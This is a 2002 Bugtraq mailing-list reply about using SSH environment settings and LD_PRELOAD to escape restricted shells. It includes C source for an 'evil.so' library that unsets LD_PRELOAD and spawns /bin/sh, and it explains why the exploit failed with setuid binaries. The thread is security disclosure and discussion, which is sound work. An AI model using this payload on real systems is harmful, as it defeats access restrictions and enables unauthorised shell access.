Re: ssh environment - circumvention of restricted shells

From: ari (edelkind-bugtraq@episec.com)
Date: 06/27/02 

Date: Thu, 27 Jun 2002 00:54:53 -0400
From: ari <edelkind-bugtraq@episec.com>
To: Leif Sawyer <lsawyer@gci.com>

lsawyer@gci.com said this stuff:

[...]
> I've tried this 'exploit' on both Linux 2.4.14 (redhat) and Solaris 2.8
> boxen, and have been unable to get a shell. The shell process is there,
> but fails to communicate with the network socket.

Ah; /bin/sh is shared on your system as well. To get around this, try
the following code for evil.so:

-----
#include <unistd.h>
#include <stdlib.h>

void _init (void) {
        unsetenv("LD_PRELOAD");
        execl("/bin/sh", "sh", 0);
}
-----

> *** However ***, if i replace "/bin/sh" with "ping some.ip.add.ress" and
> attempt the connection, i'm greeted with the following:
>
> Last login: today from somehost
> Sun Microsystems Inc. SunOS 5.8
> ld.so.1: ping: warning: /homes/evil/.ssh/evil.so: open failed:
> illegal insecure pathname
> some.ip.add.ress is alive
> Connection to target closed.

Your 'ping' binary is probably setuid-root. What happens is, the shared
library executes ping, but the LD_PRELOAD environment variable hasn't
gone anywhere. When ping executes, ld.so sees LD_PRELOAD (which is
forbidden for setuid programs), complains, and doesn't execute it.

On the other hand, when executing your shared /bin/sh, every /bin/sh
process once again preloads evil.so, creating an infinite execl(3) loop.
The code above should account for that.

ari